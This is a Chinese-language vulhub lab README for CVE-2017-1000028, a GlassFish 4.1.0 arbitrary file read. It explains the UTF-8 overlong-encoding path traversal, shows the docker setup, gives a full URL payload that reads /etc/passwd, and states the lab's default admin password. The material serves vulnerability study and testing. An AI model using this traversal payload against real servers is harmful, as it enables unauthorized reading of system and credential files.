Files
vulhub/glassfish/CVE-2017-1000028/README.zh-cn.md
Aaron 63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
first commit
2025-09-06 16:08:15 +08:00

1.3 KiB
Raw Permalink Blame History

GlassFish 4.1.0 任意文件读取漏洞

GlassFish是一个用于Java EE平台的开源应用服务器。在GlassFish中存在一个漏洞攻击者可以通过UTF-8 Overlong Encoding攻击读取任意文件。

该漏洞产生的原因是GlassFish在解码URL时没有正确处理UTF-8 Overlong Encoding导致将%c0%ae解析为ASCII字符的.。攻击者可以通过在URL中使用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来实现目录遍历,从而读取系统上的任意文件。

参考链接:

环境搭建

执行如下命令启动一个GlassFish 4.1.0服务器:

docker compose up -d

环境启动后,你可以通过http://your-ip:4848访问GlassFish管理控制台

漏洞复现

访问以下URL可以读取/etc/passwd的内容:

https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

补充说明

超级管理员密码在docker-compose.yml中设置,默认值为vulhub_default_password。你可以使用此密码在4848端口登录管理员账户。